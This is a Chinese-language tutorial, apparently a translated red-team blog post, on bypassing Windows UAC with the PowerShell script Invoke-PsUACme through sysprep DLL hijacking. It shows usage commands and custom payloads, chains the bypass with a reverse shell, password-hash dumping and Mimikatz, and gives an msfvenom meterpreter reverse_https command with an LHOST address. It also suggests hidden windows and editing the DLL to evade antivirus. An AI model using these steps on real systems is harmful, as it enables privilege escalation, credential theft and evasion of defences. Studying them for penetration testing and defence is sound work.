利用PowerShell繞過用戶帳戶控制(UAC)
背景介紹
UAC(User Account Control,用戶帳戶控制)是微軟為提高系統(tǒng)安全而在Windows Vista中引入的新技術(shù),它要求用戶在執(zhí)行可能會(huì)影響計(jì)算機(jī)運(yùn)行的操作或執(zhí)行更改影響其他用戶的設(shè)置的操作之前,提供權(quán)限或管理員密碼。通過在這些操作啟動(dòng)前對(duì)其進(jìn)行驗(yàn)證,UAC 可以幫助防止惡意軟件和間諜軟件在未經(jīng)許可的情況下在計(jì)算機(jī)上進(jìn)行安裝或?qū)τ?jì)算機(jī)進(jìn)行更改。
最近,在同Red團(tuán)隊(duì)接觸的過程中,我通過客戶端側(cè)攻擊獲取到了一些用戶機(jī)器的訪問shell。在很多情況下,用戶都擁有管理權(quán)限,但是我卻陷入了非提權(quán)的PowerShell反向shell,此時(shí)UAC就是讓人掃興的地方。我討厭UAC,因?yàn)樗軣┤说€沒處在安全邊界。我曾閱讀資料以及嘗試?yán)@過UAC,從中我知道繞過它其實(shí)是微不足道的。在本文中,我們將嘗試各種方法和代碼來繞過UAC。
UACME及使用方法
我們選擇的用以繞過UAC的工具是UACME。這個(gè)優(yōu)秀的工具實(shí)現(xiàn)了各種方法,并且值得慶幸的是它是開源的,為此感謝@hFirF0XAs。因?yàn)槲铱偸潜M量在后期利用階段都使用PowerShell,所以我測(cè)試了UACME,并使用PowerShell實(shí)現(xiàn)了其中的一些方法。這里我給出Invoke-PsUACme.ps1文件,你可以在Nishang中的“Escalation(提權(quán))”分類中找到它。
首先,我們以sysprep方法開始,它是繞過UAC最常用的方法,它在2009年由Leo Davidson而出名(詳情)。它包括以下步驟:
1、復(fù)制并在目錄C:\Windows\System32\sysprep中植入一個(gè)DLL。DLL的名稱取決于Windows版本。
(1)Windows 7上為CRYPTBASE.dll。
(2)Windows 8上為shcore.dll。
2、從上述目錄中執(zhí)行sysprep.exe。它將加載上述DLL并以特殊權(quán)限執(zhí)行它。
事實(shí)上,所有的UAC繞過方法包括加載DLL和可執(zhí)行的名稱和位置。見下表:
測(cè)試過的構(gòu)建版本:
Windows 7 build 6.1.7601.65536
Windows 8.1 build 6.3.9600.0
Windows 10 build 10.0.10240.0
現(xiàn)在,將DLL復(fù)制到 sysprep目錄,我們需要進(jìn)行權(quán)限提升。實(shí)現(xiàn)這一目的的兩種最流行的方式是:使用一個(gè)IFileOperation COM對(duì)象,或者使用Wusa.exe和它的“extract”選項(xiàng)。目前,Invoke-PsUACme使用的是Wusa方法。因?yàn)閃usa設(shè)置為了自動(dòng)提升,所以我們可以用它來提取一個(gè)cab文件到sysprep目錄。可以通過使用makecab工具創(chuàng)建一個(gè)cab文件:
C:\> makecab C:\uac\evil.dll C:\uac\uac.cab
上面的命令只是為了解釋Invoke-PsUACme到底做了什么,我們并不需要手動(dòng)運(yùn)行這些命令。
現(xiàn)在,Invoke-PsUACme使用的DLL來自于UACME項(xiàng)目,并做了一個(gè)小小的改變。并非運(yùn)行cmd.exe,而是我們告訴DLL從C:\Windows\Temp執(zhí)行cmd.bat。這個(gè)cmd.bat中包含了我們將在目標(biāo)機(jī)器上執(zhí)行的payload。在執(zhí)行復(fù)雜攻擊時(shí),這一點(diǎn)將給我們提供很大的靈活性。
上面的DLL(64位和32位)被硬編碼在了DLLBytes64和DLLBytes32變量中的腳本中。這個(gè)腳本能夠確定進(jìn)程的bit-ness,而它就是從這里被調(diào)用的,并且使用apt DLL。說到更有趣的部分時(shí),Invoke-PsUACme可以這樣使用:
PS C:\> Invoke-PsUACme -method sysprep
很好,我們能夠繞過UAC了。默認(rèn)的payload僅僅檢查繞過是否是成功的。注意,在cmd.bat文件中將-noexit參數(shù)傳遞給了PowerShell中,這樣我們就可以看到輸出了。
自定義Payload
我們還可以一直使用自定義payload:
PS C:\> Invoke-PsUACme -method oobe -Payload "powershell -noexit -c Get-Process"
請(qǐng)注意,我們還需要指定powershell.exe。無論為Paylaod參數(shù)指定了什么,它都會(huì)在C:\Windows\Temp\cmd.bat中結(jié)束。在DLL中改變批處理文件的路徑之后,你也可以使用PayloadPath參數(shù)改變它。
后文中我們將再次講解Payload參數(shù)的更多實(shí)際應(yīng)用。
自定義DLL
為了使用一個(gè)自定義DLL,我們可以使用CustomDLL64和CustomDLL32參數(shù)。例如,可以使用UACME中原始的64位Fubuki DLL,并利用Invoke-PsUACme來使用它:
PS C:\> Invoke-PSUACMe -CustomDll64 C:\test\Fubuki64.dll -CustomDll32
我們也可以向DLLBytes64和DLLBytes32參數(shù)提供一個(gè)DLL的字節(jié)數(shù)組。
使用方法
現(xiàn)在,讓我們?cè)佻F(xiàn)本文開頭中的場(chǎng)景,我們有幾個(gè)未提權(quán)的反向PowerShell shell,我們可以使用Invoke-PsUACme來以高權(quán)限執(zhí)行命令和腳本。接下來,我們使用Nishang的反向TCP(reverse TCP one liner),并使用Invoke-Encode編碼它,然后通過Invoke-PsUACme來使用它:
很酷吧,我們成功地繞過了UAC,并提升了我們的權(quán)限。為了驗(yàn)證這一點(diǎn),我們從Powerpreter運(yùn)行Get-PassHashes。一旦成功進(jìn)行了權(quán)限提升,通過使用Nishang/Powerpreter的Enable-DuplicateToken,我們總是可以將權(quán)限提升為SYSTEM。
事實(shí)上,在提升為SYSTEM權(quán)限后,我們也可以使用Powersploit中的Invoke-Mimikatz來用于域tokens。
在上面的例子中,如果你不能從web服務(wù)器上pull到腳本,那么可以使用Invoke-Encode將它們編碼為壓縮的base64類型,并能夠以powershell.exe中的編碼指令(-e或-encodecommand)參數(shù)使用。也許,你可能喜歡使用PowerShell中的“-WindowStyle hidden”參數(shù)來避免向用戶顯示任何彈窗。
雖然metasploit對(duì)于UAC繞過有它自己的實(shí)現(xiàn)方法,且我們可以利用提升的權(quán)限得到一個(gè)meterpreter,但利用前面的方法可以有無限的機(jī)會(huì)。此外,在PowerShell中,我們可以使用msfvenom來生成一個(gè)meterpreter:
./msfvenom -p windows/x64/meterpreter/reverse_https LHOST = 192.168.230.154 -f psh-reflection
我已經(jīng)多次強(qiáng)調(diào),對(duì)于Windows網(wǎng)絡(luò)的滲透測(cè)試來說PowerShell是多么的有用。例如,在最初進(jìn)行客戶端側(cè)攻擊時(shí),我們可以使用Invoke-PsUACme作為一個(gè)有效載荷(paylaod)。接下來,我們使用Nishang的Invoke-PsUACme和Out-Word。我們從Invoke-PsUACme腳本本身來進(jìn)行函數(shù)調(diào)用,以此避免不必要的復(fù)雜命令。
搞定,此時(shí)就得到了一個(gè)提權(quán)的交互式反向PowerShell shell。
正如你所看到的,在PowerShell中實(shí)現(xiàn)現(xiàn)有技術(shù)是非常有益的,它不僅增加了對(duì)PowerShell的理解,還提高了使用PowerShell的技術(shù)。
限制性
因?yàn)镮nvoke-PsUACme基于UACME項(xiàng)目,而它所實(shí)現(xiàn)的技術(shù)會(huì)被惡意軟件所使用,因此有可能它所使用的DLL在以后會(huì)被殺毒軟件檢測(cè)到。當(dāng)這種問題出現(xiàn)時(shí),根據(jù)以往的記錄,對(duì)DLL的源碼進(jìn)行小小的修改應(yīng)該能夠解決這個(gè)問題。
此外,因?yàn)閃usa.exe在Windows 10上沒有“extract”選項(xiàng),所以目前Invoke-PsUACme在Windows 10上無法工作。因此,請(qǐng)自由實(shí)現(xiàn)IFileOperation或任何其他方法。
擴(kuò)展閱讀
對(duì)于PowerShell中的UAC繞過,還有其他的實(shí)現(xiàn)。可以查看這里。
為了更好地了解UAC繞過,可以查看下面的鏈接:
https://www.greyhathacker.net/?p=796
http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html





























